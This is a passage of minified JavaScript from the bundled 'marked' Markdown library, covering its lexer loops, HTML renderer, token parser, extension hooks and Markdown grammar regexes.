K.push(Y);continue}if(Y=this.tokenizer.code(A)){A=A.substring(Y.raw.length);let w=K.at(-1);if(w?.type==="paragraph"||w?.type==="text")w.raw+=` `+Y.raw,w.text+=` `+Y.text,this.inlineQueue.at(-1).src=w.text;else K.push(Y);continue}if(Y=this.tokenizer.fences(A)){A=A.substring(Y.raw.length),K.push(Y);continue}if(Y=this.tokenizer.heading(A)){A=A.substring(Y.raw.length),K.push(Y);continue}if(Y=this.tokenizer.hr(A)){A=A.substring(Y.raw.length),K.push(Y);continue}if(Y=this.tokenizer.blockquote(A)){A=A.substring(Y.raw.length),K.push(Y);continue}if(Y=this.tokenizer.list(A)){A=A.substring(Y.raw.length),K.push(Y);continue}if(Y=this.tokenizer.html(A)){A=A.substring(Y.raw.length),K.push(Y);continue}if(Y=this.tokenizer.def(A)){A=A.substring(Y.raw.length);let w=K.at(-1);if(w?.type==="paragraph"||w?.type==="text")w.raw+=` `+Y.raw,w.text+=` `+Y.raw,this.inlineQueue.at(-1).src=w.text;else if(!this.tokens.links[Y.tag])this.tokens.links[Y.tag]={href:Y.href,title:Y.title};continue}if(Y=this.tokenizer.table(A)){A=A.substring(Y.raw.length),K.push(Y);continue}if(Y=this.tokenizer.lheading(A)){A=A.substring(Y.raw.length),K.push(Y);continue}let z=A;if(this.options.extensions?.startBlock){let w=1/0,H=A.slice(1),J;if(this.options.extensions.startBlock.forEach((O)=>{if(J=O.call({lexer:this},H),typeof J==="number"&&J>=0)w=Math.min(w,J)}),w<1/0&&w>=0)z=A.substring(0,w+1)}if(this.state.top&&(Y=this.tokenizer.paragraph(z))){let w=K.at(-1);if(q&&w?.type==="paragraph")w.raw+=` `+Y.raw,w.text+=` `+Y.text,this.inlineQueue.pop(),this.inlineQueue.at(-1).src=w.text;else K.push(Y);q=z.length!==A.length,A=A.substring(Y.raw.length);continue}if(Y=this.tokenizer.text(A)){A=A.substring(Y.raw.length);let w=K.at(-1);if(w?.type==="text")w.raw+=` `+Y.raw,w.text+=` `+Y.text,this.inlineQueue.pop(),this.inlineQueue.at(-1).src=w.text;else K.push(Y);continue}if(A){let w="Infinite loop on byte: "+A.charCodeAt(0);if(this.options.silent){console.error(w);break}else throw Error(w)}}return this.state.top=!0,K}inline(A,K=[]){return this.inlineQueue.push({src:A,tokens:K}),K}inlineTokens(A,K=[]){let q=A,Y=null;if(this.tokens.links){let H=Object.keys(this.tokens.links);if(H.length>0){while((Y=this.tokenizer.rules.inline.reflinkSearch.exec(q))!=null)if(H.includes(Y[0].slice(Y[0].lastIndexOf("[")+1,-1)))q=q.slice(0,Y.index)+"["+"a".repeat(Y[0].length-2)+"]"+q.slice(this.tokenizer.rules.inline.reflinkSearch.lastIndex)}}while((Y=this.tokenizer.rules.inline.blockSkip.exec(q))!=null)q=q.slice(0,Y.index)+"["+"a".repeat(Y[0].length-2)+"]"+q.slice(this.tokenizer.rules.inline.blockSkip.lastIndex);while((Y=this.tokenizer.rules.inline.anyPunctuation.exec(q))!=null)q=q.slice(0,Y.index)+"++"+q.slice(this.tokenizer.rules.inline.anyPunctuation.lastIndex);let z=!1,w="";while(A){if(!z)w="";z=!1;let H;if(this.options.extensions?.inline?.some((O)=>{if(H=O.call({lexer:this},A,K))return A=A.substring(H.raw.length),K.push(H),!0;return!1}))continue;if(H=this.tokenizer.escape(A)){A=A.substring(H.raw.length),K.push(H);continue}if(H=this.tokenizer.tag(A)){A=A.substring(H.raw.length),K.push(H);continue}if(H=this.tokenizer.link(A)){A=A.substring(H.raw.length),K.push(H);continue}if(H=this.tokenizer.reflink(A,this.tokens.links)){A=A.substring(H.raw.length);let O=K.at(-1);if(H.type==="text"&&O?.type==="text")O.raw+=H.raw,O.text+=H.text;else K.push(H);continue}if(H=this.tokenizer.emStrong(A,q,w)){A=A.substring(H.raw.length),K.push(H);continue}if(H=this.tokenizer.codespan(A)){A=A.substring(H.raw.length),K.push(H);continue}if(H=this.tokenizer.br(A)){A=A.substring(H.raw.length),K.push(H);continue}if(H=this.tokenizer.del(A)){A=A.substring(H.raw.length),K.push(H);continue}if(H=this.tokenizer.autolink(A)){A=A.substring(H.raw.length),K.push(H);continue}if(!this.state.inLink&&(H=this.tokenizer.url(A))){A=A.substring(H.raw.length),K.push(H);continue}let J=A;if(this.options.extensions?.startInline){let O=1/0,X=A.slice(1),$;if(this.options.extensions.startInline.forEach((_)=>{if($=_.call({lexer:this},X),typeof $==="number"&&$>=0)O=Math.min(O,$)}),O<1/0&&O>=0)J=A.substring(0,O+1)}if(H=this.tokenizer.inlineText(J)){if(A=A.substring(H.raw.length),H.raw.slice(-1)!=="_")w=H.raw.slice(-1);z=!0;let O=K.at(-1);if(O?.type==="text")O.raw+=H.raw,O.text+=H.text;else K.push(H);continue}if(A){let O="Infinite loop on byte: "+A.charCodeAt(0);if(this.options.silent){console.error(O);break}else throw Error(O)}}return K}}class hSA{options;parser;constructor(A){this.options=A||N7A}space(A){return""}code({text:A,lang:K,escaped:q}){let Y=(K||"").match(DM.notSpaceStart)?.[0],z=A.replace(DM.endingNewline,"")+` `;if(!Y)return"<pre><code>"+(q?z:Ku(z,!0))+`</code></pre> `;return'<pre><code class="language-'+Ku(Y)+'">'+(q?z:Ku(z,!0))+`</code></pre> `}blockquote({tokens:A}){return`<blockquote> ${this.parser.parse(A)}</blockquote> `}html({text:A}){return A}heading({tokens:A,depth:K}){return`<h${K}>${this.parser.parseInline(A)}</h${K}> `}hr(A){return`<hr> `}list(A){let{ordered:K,start:q}=A,Y="";for(let H=0;H<A.items.length;H++){let J=A.items[H];Y+=this.listitem(J)}let z=K?"ol":"ul",w=K&&q!==1?' start="'+q+'"':"";return"<"+z+w+`> `+Y+"</"+z+`> `}listitem(A){let K="";if(A.task){let q=this.checkbox({checked:!!A.checked});if(A.loose)if(A.tokens[0]?.type==="paragraph"){if(A.tokens[0].text=q+" "+A.tokens[0].text,A.tokens[0].tokens&&A.tokens[0].tokens.length>0&&A.tokens[0].tokens[0].type==="text")A.tokens[0].tokens[0].text=q+" "+Ku(A.tokens[0].tokens[0].text),A.tokens[0].tokens[0].escaped=!0}else A.tokens.unshift({type:"text",raw:q+" ",text:q+" ",escaped:!0});else K+=q+" "}return K+=this.parser.parse(A.tokens,!!A.loose),`<li>${K}</li> `}checkbox({checked:A}){return"<input "+(A?'checked="" ':"")+'disabled="" type="checkbox">'}paragraph({tokens:A}){return`<p>${this.parser.parseInline(A)}</p> `}table(A){let K="",q="";for(let z=0;z<A.header.length;z++)q+=this.tablecell(A.header[z]);K+=this.tablerow({text:q});let Y="";for(let z=0;z<A.rows.length;z++){let w=A.rows[z];q="";for(let H=0;H<w.length;H++)q+=this.tablecell(w[H]);Y+=this.tablerow({text:q})}if(Y)Y=`<tbody>${Y}</tbody>`;return`<table> <thead> `+K+`</thead> `+Y+`</table> `}tablerow({text:A}){return`<tr> ${A}</tr> `}tablecell(A){let K=this.parser.parseInline(A.tokens),q=A.header?"th":"td";return(A.align?`<${q} align="${A.align}">`:`<${q}>`)+K+`</${q}> `}strong({tokens:A}){return`<strong>${this.parser.parseInline(A)}</strong>`}em({tokens:A}){return`<em>${this.parser.parseInline(A)}</em>`}codespan({text:A}){return`<code>${Ku(A,!0)}</code>`}br(A){return"<br>"}del({tokens:A}){return`<del>${this.parser.parseInline(A)}</del>`}link({href:A,title:K,tokens:q}){let Y=this.parser.parseInline(q),z=Cu4(A);if(z===null)return Y;A=z;let w='<a href="'+A+'"';if(K)w+=' title="'+Ku(K)+'"';return w+=">"+Y+"</a>",w}image({href:A,title:K,text:q}){let Y=Cu4(A);if(Y===null)return Ku(q);A=Y;let z=`<img src="${A}" alt="${q}"`;if(K)z+=` title="${Ku(K)}"`;return z+=">",z}text(A){return"tokens"in A&&A.tokens?this.parser.parseInline(A.tokens):("escaped"in A)&&A.escaped?A.text:Ku(A.text)}}class eY1{strong({text:A}){return A}em({text:A}){return A}codespan({text:A}){return A}del({text:A}){return A}html({text:A}){return A}text({text:A}){return A}link({text:A}){return""+A}image({text:A}){return""+A}br(){return""}}class KC{options;renderer;textRenderer;constructor(A){this.options=A||N7A,this.options.renderer=this.options.renderer||new hSA,this.renderer=this.options.renderer,this.renderer.options=this.options,this.renderer.parser=this,this.textRenderer=new eY1}static parse(A,K){return new KC(K).parse(A)}static parseInline(A,K){return new KC(K).parseInline(A)}parse(A,K=!0){let q="";for(let Y=0;Y<A.length;Y++){let z=A[Y];if(this.options.extensions?.renderers?.[z.type]){let H=z,J=this.options.extensions.renderers[H.type].call({parser:this},H);if(J!==!1||!["space","hr","heading","code","table","blockquote","list","html","paragraph","text"].includes(H.type)){q+=J||"";continue}}let w=z;switch(w.type){case"space":{q+=this.renderer.space(w);continue}case"hr":{q+=this.renderer.hr(w);continue}case"heading":{q+=this.renderer.heading(w);continue}case"code":{q+=this.renderer.code(w);continue}case"table":{q+=this.renderer.table(w);continue}case"blockquote":{q+=this.renderer.blockquote(w);continue}case"list":{q+=this.renderer.list(w);continue}case"html":{q+=this.renderer.html(w);continue}case"paragraph":{q+=this.renderer.paragraph(w);continue}case"text":{let H=w,J=this.renderer.text(H);while(Y+1<A.length&&A[Y+1].type==="text")H=A[++Y],J+=` `+this.renderer.text(H);if(K)q+=this.renderer.paragraph({type:"paragraph",raw:J,text:J,tokens:[{type:"text",raw:J,text:J,escaped:!0}]});else q+=J;continue}default:{let H='Token with "'+w.type+'" type was not found.';if(this.options.silent)return console.error(H),"";else throw Error(H)}}}return q}parseInline(A,K=this.renderer){let q="";for(let Y=0;Y<A.length;Y++){let z=A[Y];if(this.options.extensions?.renderers?.[z.type]){let H=this.options.extensions.renderers[z.type].call({parser:this},z);if(H!==!1||!["escape","html","link","image","strong","em","codespan","br","del","text"].includes(z.type)){q+=H||"";continue}}let w=z;switch(w.type){case"escape":{q+=K.text(w);break}case"html":{q+=K.html(w);break}case"link":{q+=K.link(w);break}case"image":{q+=K.image(w);break}case"strong":{q+=K.strong(w);break}case"em":{q+=K.em(w);break}case"codespan":{q+=K.codespan(w);break}case"br":{q+=K.br(w);break}case"del":{q+=K.del(w);break}case"text":{q+=K.text(w);break}default:{let H='Token with "'+w.type+'" type was not found.';if(this.options.silent)return console.error(H),"";else throw Error(H)}}}return q}}class Qu4{defaults=tY6();options=this.setOptions;parse=this.parseMarkdown(!0);parseInline=this.parseMarkdown(!1);Parser=KC;Renderer=hSA;TextRenderer=eY1;Lexer=jM;Tokenizer=SSA;Hooks=ISA;constructor(...A){this.use(...A)}walkTokens(A,K){let q=[];for(let Y of A)switch(q=q.concat(K.call(this,Y)),Y.type){case"table":{let z=Y;for(let w of z.header)q=q.concat(this.walkTokens(w.tokens,K));for(let w of z.rows)for(let H of w)q=q.concat(this.walkTokens(H.tokens,K));break}case"list":{let z=Y;q=q.concat(this.walkTokens(z.items,K));break}default:{let z=Y;if(this.defaults.extensions?.childTokens?.[z.type])this.defaults.extensions.childTokens[z.type].forEach((w)=>{let H=z[w].flat(1/0);q=q.concat(this.walkTokens(H,K))});else if(z.tokens)q=q.concat(this.walkTokens(z.tokens,K))}}return q}use(...A){let K=this.defaults.extensions||{renderers:{},childTokens:{}};return A.forEach((q)=>{let Y={...q};if(Y.async=this.defaults.async||Y.async||!1,q.extensions)q.extensions.forEach((z)=>{if(!z.name)throw Error("extension name required");if("renderer"in z){let w=K.renderers[z.name];if(w)K.renderers[z.name]=function(...H){let J=z.renderer.apply(this,H);if(J===!1)J=w.apply(this,H);return J};else K.renderers[z.name]=z.renderer}if("tokenizer"in z){if(!z.level||z.level!=="block"&&z.level!=="inline")throw Error("extension level must be 'block' or 'inline'");let w=K[z.level];if(w)w.unshift(z.tokenizer);else K[z.level]=[z.tokenizer];if(z.start){if(z.level==="block")if(K.startBlock)K.startBlock.push(z.start);else K.startBlock=[z.start];else if(z.level==="inline")if(K.startInline)K.startInline.push(z.start);else K.startInline=[z.start]}}if("childTokens"in z&&z.childTokens)K.childTokens[z.name]=z.childTokens}),Y.extensions=K;if(q.renderer){let z=this.defaults.renderer||new hSA(this.defaults);for(let w in q.renderer){if(!(w in z))throw Error(`renderer '${w}' does not exist`);if(["options","parser"].includes(w))continue;let H=w,J=q.renderer[H],O=z[H];z[H]=(...X)=>{let $=J.apply(z,X);if($===!1)$=O.apply(z,X);return $||""}}Y.renderer=z}if(q.tokenizer){let z=this.defaults.tokenizer||new SSA(this.defaults);for(let w in q.tokenizer){if(!(w in z))throw Error(`tokenizer '${w}' does not exist`);if(["options","rules","lexer"].includes(w))continue;let H=w,J=q.tokenizer[H],O=z[H];z[H]=(...X)=>{let $=J.apply(z,X);if($===!1)$=O.apply(z,X);return $}}Y.tokenizer=z}if(q.hooks){let z=this.defaults.hooks||new ISA;for(let w in q.hooks){if(!(w in z))throw Error(`hook '${w}' does not exist`);if(["options","block"].includes(w))continue;let H=w,J=q.hooks[H],O=z[H];if(ISA.passThroughHooks.has(w))z[H]=(X)=>{if(this.defaults.async)return Promise.resolve(J.call(z,X)).then((_)=>{return O.call(z,_)});let $=J.call(z,X);return O.call(z,$)};else z[H]=(...X)=>{let $=J.apply(z,X);if($===!1)$=O.apply(z,X);return $}}Y.hooks=z}if(q.walkTokens){let z=this.defaults.walkTokens,w=q.walkTokens;Y.walkTokens=function(H){let J=[];if(J.push(w.call(this,H)),z)J=J.concat(z.call(this,H));return J}}this.defaults={...this.defaults,...Y}}),this}setOptions(A){return this.defaults={...this.defaults,...A},this}lexer(A,K){return jM.lex(A,K??this.defaults)}parser(A,K){return KC.parse(A,K??this.defaults)}parseMarkdown(A){return(q,Y)=>{let z={...Y},w={...this.defaults,...z},H=this.onError(!!w.silent,!!w.async);if(this.defaults.async===!0&&z.async===!1)return H(Error("marked(): The async option was set to true by an extension. Remove async: false from the parse options object to return a Promise."));if(typeof q>"u"||q===null)return H(Error("marked(): input parameter is undefined or null"));if(typeof q!=="string")return H(Error("marked(): input parameter is of type "+Object.prototype.toString.call(q)+", string expected"));if(w.hooks)w.hooks.options=w,w.hooks.block=A;let J=w.hooks?w.hooks.provideLexer():A?jM.lex:jM.lexInline,O=w.hooks?w.hooks.provideParser():A?KC.parse:KC.parseInline;if(w.async)return Promise.resolve(w.hooks?w.hooks.preprocess(q):q).then((X)=>J(X,w)).then((X)=>w.hooks?w.hooks.processAllTokens(X):X).then((X)=>w.walkTokens?Promise.all(this.walkTokens(X,w.walkTokens)).then(()=>X):X).then((X)=>O(X,w)).then((X)=>w.hooks?w.hooks.postprocess(X):X).catch(H);try{if(w.hooks)q=w.hooks.preprocess(q);let X=J(q,w);if(w.hooks)X=w.hooks.processAllTokens(X);if(w.walkTokens)this.walkTokens(X,w.walkTokens);let $=O(X,w);if(w.hooks)$=w.hooks.postprocess($);return $}catch(X){return H(X)}}}onError(A,K){return(q)=>{if(q.message+=` Please report this to https://github.com/markedjs/marked.`,A){let Y="<p>An error occurred:</p><pre>"+Ku(q.message+"",!0)+"</pre>";if(K)return Promise.resolve(Y);return Y}if(K)return Promise.reject(q);throw q}}}function sY(A,K){return f7A.parse(A,K)}var N7A,ySA,DM,cL9,lL9,iL9,bSA,nL9,Iu4,Su4,eY6,rL9,A26,oL9,aL9,sY1="address|article|aside|base|basefont|blockquote|body|caption|center|col|colgroup|dd|details|dialog|dir|div|dl|dt|fieldset|figcaption|figure|footer|form|frame|frameset|h[1-6]|head|header|hr|html|iframe|legend|li|link|main|menu|menuitem|meta|nav|noframes|ol|optgroup|option|p|param|search|section|summary|table|tbody|td|tfoot|th|thead|title|tr|track|ul",K26,sL9,hu4,tL9,q26,Eu4,eL9,AR9,KR9,qR9,bu4,YR9,tY1,Y26,xu4,zR9,uu4,wR9,HR9,JR9,Bu4,OR9,XR9,mu4="^[^_*]*?__[^_*]*?\\*[^_*]*?(?=__)|[^*]+(?=[^*])|(?!\\*)punct(\\*+)(?=[\\s]|$)|notPunctSpace(\\*+)(?!\\*)(?=punctSpace|$)|(?!\\*)punctSpace(\\*+)(?=notPunctSpace)|[\\s](\\*+)(?!\\*)(?=punct)|(?!\\*)punct(\\*+)(?!\\*)(?=punct)|notPunctSpace(\\*+)(?=notPunctSpace)",$R9,_R9,GR9,ZR9,WR9,DR9,jR9,aY1,MR9,gu4,Fu4,PR9,z26,VR9,sY6,fR9,oY1,LSA,NR9,ku4=(A)=>NR9[A],ISA,f7A,gMw,FMw,QMw,UMw,pMw,dMw,cMw;var A21=k(()=>{N7A=tY6();ySA={exec:()=>null};DM={codeRemoveIndent:/^(?: {1,4}| {0,3}\t)/gm,outputLinkReplace:/\\([\[\]])/g,indentCodeCompensation:/^(\s+)(?:```)/,beginningSpace:/^\s+/,endingHash:/#$/,startingSpaceChar:/^ /,endingSpaceChar:/ $/,nonSpaceChar:/[^ ]/,newLineCharGlobal:/\n/g,tabCharGlobal:/\t/g,multipleSpaceGlobal:/\s+/g,blankLine:/^[ \t]*$/,doubleBlankLine:/\n[ \t]*\n[ \t]*$/,blockquoteStart:/^ {0,3}>/,blockquoteSetextReplace:/\n {0,3}((?:=+|-+) *)(?=\n|$)/g,blockquoteSetextReplace2:/^ {0,3}>[ \t]?/gm,listReplaceTabs:/^\t+/,listReplaceNesting:/^ {1,4}(?=( {4})*[^ ])/g,listIsTask:/^\[[ xX]\] /,listReplaceTask:/^\[[ xX]\] +/,anyLine:/\n.*\n/,hrefBrackets:/^<(.*)>$/,tableDelimiter:/[:|]/,tableAlignChars:/^\||\| *$/g,tableRowBlankLine:/\n[ \t]*$/,tableAlignRight:/^ *-+: *$/,tableAlignCenter:/^ *:-+: *$/,tableAlignLeft:/^ *:-+ *$/,startATag:/^<a /i,endATag:/^<\/a>/i,startPreScriptTag:/^<(pre|code|kbd|script)(\s|>)/i,endPreScriptTag:/^<\/(pre|code|kbd|script)(\s|>)/i,startAngleBracket:/^</,endAngleBracket:/>$/,pedanticHrefTitle:/^([^'"]*[^\s])\s+(['"])(.*)\2/,unicodeAlphaNumeric:/[\p{L}\p{N}]/u,escapeTest:/[&<>"']/,escapeReplace:/[&<>"']/g,escapeTestNoEncode:/[<>"']|&(?!(#\d{1,7}|#[Xx][a-fA-F0-9]{1,6}|\w+);)/,escapeReplaceNoEncode:/[<>"']|&(?!(#\d{1,7}|#[Xx][a-fA-F0-9]{1,6}|\w+);)/g,unescapeTest:/&(#(?:\d+)|(?:#x[0-9A-Fa-f]+)|(?:\w+));?/ig,caret:/(^|[^\[])\^/g,percentDecode:/%25/g,findPipe:/\|/g,splitPipe:/ \|/,slashPipe:/\\\|/g,carriageReturn:/\r\n|\r/g,spaceLine:/^ +$/gm,notSpaceStart:/^\S*/,endingNewline:/\n$/,listItemRegex:(A)=>new RegExp(`^( {0,3}${A})((?:[ ][^\\n]*)?(?:\\n|$))`),nextBulletRegex:(A)=>new RegExp(`^ {0,${Math.min(3,A-1)}}(?:[*+-]|\\d{1,9}[.)])((?:[ ][^\\n]*)?(?:\\n|$))`),hrRegex:(A)=>new RegExp(`^ {0,${Math.min(3,A-1)}}((?:- *){3,}|(?:_ *){3,}|(?:\\* *){3,})(?:\\n+|$)`),fencesBeginRegex:(A)=>new RegExp(`^ {0,${Math.min(3,A-1)}}(?:\`\`\`|~~~)`),headingBeginRegex:(A)=>new RegExp(`^ {0,${Math.min(3,A-1)}}#`),htmlBeginRegex:(A)=>new RegExp(`^ {0,${Math.min(3,A-1)}}<(?:[a-z].*>|!--)`,"i")},cL9=/^(?:[ \t]*(?:\n|$))+/,lL9=/^((?: {4}| {0,3}\t)[^\n]+(?:\n(?:[ \t]*(?:\n|$))*)?)+/,iL9=/^ {0,3}(`{3,}(?=[^`\n]*(?:\n|$))|~{3,})([^\n]*)(?:\n|$)(?:|([\s\S]*?)(?:\n|$))(?: {0,3}\1[~`]* *(?=\n|$)|$)/,bSA=/^ {0,3}((?:-[\t ]*){3,}|(?:_[ \t]*){3,}|(?:\*[ \t]*){3,})(?:\n+|$)/,nL9=/^ {0,3}(#{1,6})(?=\s|$)(.*)(?:\n+|$)/,Iu4=/(?:[*+-]|\d{1,9}[.)])/,Su4=Nz(/^(?!bull |blockCode|fences|blockquote|heading|html)((?:.|\n(?!\s*?\n|bull |blockCode|fences|blockquote|heading|html))+?)\n {0,3}(=+|-+) *(?:\n+|$)/).replace(/bull/g,Iu4).replace(/blockCode/g,/(?: {4}| {0,3}\t)/).replace(/fences/g,/ {0,3}(?:`{3,}|~{3,})/).replace(/blockquote/g,/ {0,3}>/).replace(/heading/g,/ {0,3}#{1,6}/).replace(/html/g,/ {0,3}<[^\n>]+>\n/).getRegex(),eY6=/^([^\n]+(?:\n(?!hr|heading|lheading|blockquote|fences|list|html|table| +\n)[^\n]+)*)/,rL9=/^[^\n]+/,A26=/(?!\s*\])(?:\\.|[^\[\]\\])+/,oL9=Nz(/^ {0,3}\[(label)\]: *(?:\n[ \t]*)?([^<\s][^\s]*|<.*?>)(?:(?: +(?:\n[ \t]*)?| *\n[ \t]*)(title))? *(?:\n+|$)/).replace("label",A26).replace("title",/(?:"(?:\\"?|[^"\\])*"|'[^'\n]*(?:\n[^'\n]+)*\n?'|\([^()]*\))/).getRegex(),aL9=Nz(/^( {0,3}bull)([ \t][^\n]+?)?(?:\n|$)/).replace(/bull/g,Iu4).getRegex(),K26=/<!--(?:-?>|[\s\S]*?(?:-->|$))/,sL9=Nz("^ {0,3}(?:<(script|pre|style|textarea)[\\s>][\\s\\S]*?(?:</\\1>[^\\n]*\\n+|$)|comment[^\\n]*(\\n+|$)|<\\?[\\s\\S]*?(?:\\?>\\n*|$)|<![A-Z][\\s\\S]*?(?:>\\n*|$)|<!\\[CDATA\\[[\\s\\S]*?(?:\\]\\]>\\n*|$)|</?(tag)(?: +|\\n|/?>)[\\s\\S]*?(?:(?:\\n[ \t]*)+\\n|$)|<(?!script|pre|style|textarea)([a-z][\\w-]*)(?:attribute)*? */?>(?=[ \\t]*(?:\\n|$))[\\s\\S]*?(?:(?:\\n[ \t]*)+\\n|$)|</(?!script|pre|style|textarea)[a-z][\\w-]*\\s*>(?=[ \\t]*(?:\\n|$))[\\s\\S]*?(?:(?:\\n[ \t]*)+\\n|$))","i").replace("comment",K26).replace("tag",sY1).replace("attribute",/ +[a-zA-Z:_][\w.:-]*(?: *= *"[^"\n]*"| *= *'[^'\n]*'| *= *[^\s"'=<>`]+)?/).getRegex(),hu4=Nz(eY6).replace("hr",bSA).replace("heading"," {0,3}#{1,6}(?:\\s|$)").replace("|lheading","").replace("|table","").replace("blockquote"," {0,3}>").replace("fences"," {0,3}(?:`{3,}(?=[^`\\n]*\\n)|~{3,})[^\\n]*\\n").replace("list"," {0,3}(?:[*+-]|1[.)]) ").replace("html","</?(?:tag)(?: +|\\n|/?>)|<(?:script|pre|style|textarea|!--)").replace("tag",sY1).getRegex(),tL9=Nz(/^( {0,3}> ?(paragraph|[^\n]*)(?:\n|$))+/).replace("paragraph",hu4).getRegex(),q26={blockquote:tL9,code:lL9,def:oL9,fences:iL9,heading:nL9,hr:bSA,html:sL9,lheading:Su4,list:aL9,newline:cL9,paragraph:hu4,table:ySA,text:rL9},Eu4=Nz("^ *([^\\n ].*)\\n {0,3}((?:\\| *)?:?-+:? *(?:\\| *:?-+:? *)*(?:\\| *)?)(?:\\n((?:(?! *\\n|hr|heading|blockquote|code|fences|list|html).*(?:\\n|$))*)\\n*|$)").replace("hr",bSA).replace("heading"," {0,3}#{1,6}(?:\\s|$)").replace("blockquote"," {0,3}>").replace("code","(?: {4}| {0,3}\t)[^\\n]").replace("fences"," {0,3}(?:`{3,}(?=[^`\\n]*\\n)|~{3,})[^\\n]*\\n").replace("list"," {0,3}(?:[*+-]|1[.)]) ").replace("html","</?(?:tag)(?: +|\\n|/?>)|<(?:script|pre|style|textarea|!--)").replace("tag",sY1).getRegex(),eL9={...q26,table:Eu4,paragraph:Nz(eY6).replace("hr",bSA).replace("heading"," {0,3}#{1,6}(?:\\s|$)").replace("|lheading","").replace("table",Eu4).replace("blockquote"," {0,3}>").replace("fences"," {0,3}(?:`{3,}(?=[^`\\n]*\\n)|~{3,})[^\\n]*\\n").replace("list"," {0,3}(?:[*+-]|1[.)]) ").replace("html","</?(?:tag)(?: +|\\n|/?>)|<(?:script|pre|style|textarea|!--)").replace("tag",sY1).getRegex()},AR9={...q26,html:Nz(`^ *(?:comment *(?:\\n|\\s*$)|<(tag)[\\s\\S]+?</\\1> *(?:\\n{2,}|\\s*$)|<tag(?:"[^"]*"|'[^']*'|\\s[^'"/>\\s]*)*?/?> *(?:\\n{2,}|\\s*$))`).replace("comment",K26).replace(/tag/g,"(?!(?:a|em|strong|small|s|cite|q|dfn|abbr|data|time|code|var|samp|kbd|sub|sup|i|b|u|mark|ruby|rt|rp|bdi|bdo|span|br|wbr|ins|del|img)\\b)\\w+(?!:|[^\\w\\s@]*@)\\b").getRegex(),def:/^ *\[([^\]]+)\]: *<?([^\s>]+)>?(?: +(["(][^\n]+[")]))? *(?:\n+|$)/,heading:/^(#{1,6})(.*)(?:\n+|$)/,fences:ySA,lheading:/^(.+?)\n {0,3}(=+|-+) *(?:\n+|$)/,paragraph:Nz(eY6).replace("hr",bSA).replace("heading",` *#{1,6} *[^ ]`).replace("lheading",Su4).replace("|table","").replace("blockquote"," {0,3}>").replace("|fences","").replace("|list","").replace("|html","").replace("|tag","").getRegex()},KR9=/^\\([!"#$%&'()*+,\-./:;<=>?@\[\]\\^_`{|}~])/,qR9=/^(`+)([^`]|[^`][\s\S]*?[^`])\1(?!`)/,bu4=/^( {2,}|\\)\n(?!\s*$)/,YR9=/^(`+|[^`])(?:(?= {2,}\n)|[\s\S]*?(?:(?=[\\<!\[`*_]|\b_|$)|[^ ](?= {2,}\n)))/,tY1=/[\p{P}\p{S}]/u,Y26=/[\s\p{P}\p{S}]/u,xu4=/[^\s\p{P}\p{S}]/u,zR9=Nz(/^((?![*_])punctSpace)/,"u").replace(/punctSpace/g,Y26).getRegex(),uu4=/(?!~)[\p{P}\p{S}]/u,wR9=/(?!~)[\s\p{P}\p{S}]/u,HR9=/(?:[^\s\p{P}\p{S}]|~)/u,JR9=/\[[^[\]]*?\]\((?:\\.|[^\\\(\)]|\((?:\\.|[^\\\(\)])*\))*\)|`[^`]*?`|<[^<>]*?>/g,Bu4=/^(?:\*+(?:((?!\*)punct)|[^\s*]))|^_+(?:((?!_)punct)|([^\s_]))/,OR9=Nz(Bu4,"u").replace(/punct/g,tY1).getRegex(),XR9=Nz(Bu4,"u").replace(/punct/g,uu4).getRegex(),$R9=Nz(mu4,"gu").replace(/notPunctSpace/g,xu4).replace(/punctSpace/g,Y26).replace(/punct/g,tY1).getRegex(),_R9=Nz(mu4,"gu").replace(/notPunctSpace/g,HR9).replace(/punctSpace/g,wR9).replace(/punct/g,uu4).getRegex(),GR9=Nz("^[^_*]*?\\*\\*[^_*]*?_[^_*]*?(?=\\*\\*)|[^_]+(?=[^_])|(?!_)punct(_+)(?=[\\s]|$)|notPunctSpace(_+)(?!_)(?=punctSpace|$)|(?!_)punctSpace(_+)(?=notPunctSpace)|[\\s](_+)(?!_)(?=punct)|(?!_)punct(_+)(?!_)(?=punct)","gu").replace(/notPunctSpace/g,xu4).replace(/punctSpace/g,Y26).replace(/punct/g,tY1).getRegex(),ZR9=Nz(/\\(punct)/,"gu").replace(/punct/g,tY1).getRegex(),WR9=Nz(/^<(scheme:[^\s\x00-\x1f<>]*|email)>/).replace("scheme",/[a-zA-Z][a-zA-Z0-9+.-]{1,31}/).replace("email",/[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+(@)[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)+(?![-_])/).getRegex(),DR9=Nz(K26).replace("(?:-->|$)","-->").getRegex(),jR9=Nz("^comment|^</[a-zA-Z][\\w:-]*\\s*>|^<[a-zA-Z][\\w-]*(?:attribute)*?\\s*/?>|^<\\?[\\s\\S]*?\\?>|^<![a-zA-Z]+\\s[\\s\\S]*?>|^<!\\[CDATA\\[[\\s\\S]*?\\]\\]>").replace("comment",DR9).replace("attribute",/\s+[a-zA-Z:_][\w.:-]*(?:\s*=\s*"[^"]*"|\s*=\s*'[^']*'|\s*=\s*[^\s"'=<>`]+)?/).getRegex(),aY1=/(?:\[(?:\\.|[^\[\]\\])*\]|\\.|`[^`]*`|[^\[\]\\`])*?/,MR9=Nz(/^!?\[(label)\]\(\s*(href)(?:\s+(title))?\s*\)/).replace("label",aY1).replace("href",/<(?:\\.|[^\n<>\\])+>|[^\s\x00-\x1f]*/).replace("title",/"(?:\\"?|[^"\\])*"|'(?:\\'?|[^'\\])*'|\((?:\\\)?|[^)\\])*\)/).getRegex(),gu4=Nz(/^!?\[(label)\]\[(ref)\]/).replace("label",aY1).replace("ref",A26).getRegex(),Fu4=Nz(/^!?\[(ref)\](?:\[\])?/).replace("ref",A26).getRegex(),PR9=Nz("reflink|nolink(?!\\()","g").replace("reflink",gu4).replace("nolink",Fu4).getRegex(),z26={_backpedal:ySA,anyPunctuation:ZR9,autolink:WR9,blockSkip:JR9,br:bu4,code:qR9,del:ySA,emStrongLDelim:OR9,emStrongRDelimAst:$R9,emStrongRDelimUnd:GR9,escape:KR9,link:MR9,nolink:Fu4,punctuation:zR9,reflink:gu4,reflinkSearch:PR9,tag:jR9,text:YR9,url:ySA},VR9={...z26,link:Nz(/^!?\[(label)\]\((.*?)\)/).replace("label",aY1).getRegex(),reflink:Nz(/^!?\[(label)\]\s*\[([^\]]*)\]/).replace("label",aY1).getRegex()},sY6={...z26,emStrongRDelimAst:_R9,emStrongLDelim:XR9,url:Nz(/^((?:ftp|https?):\/\/|www\.)(?:[a-zA-Z0-9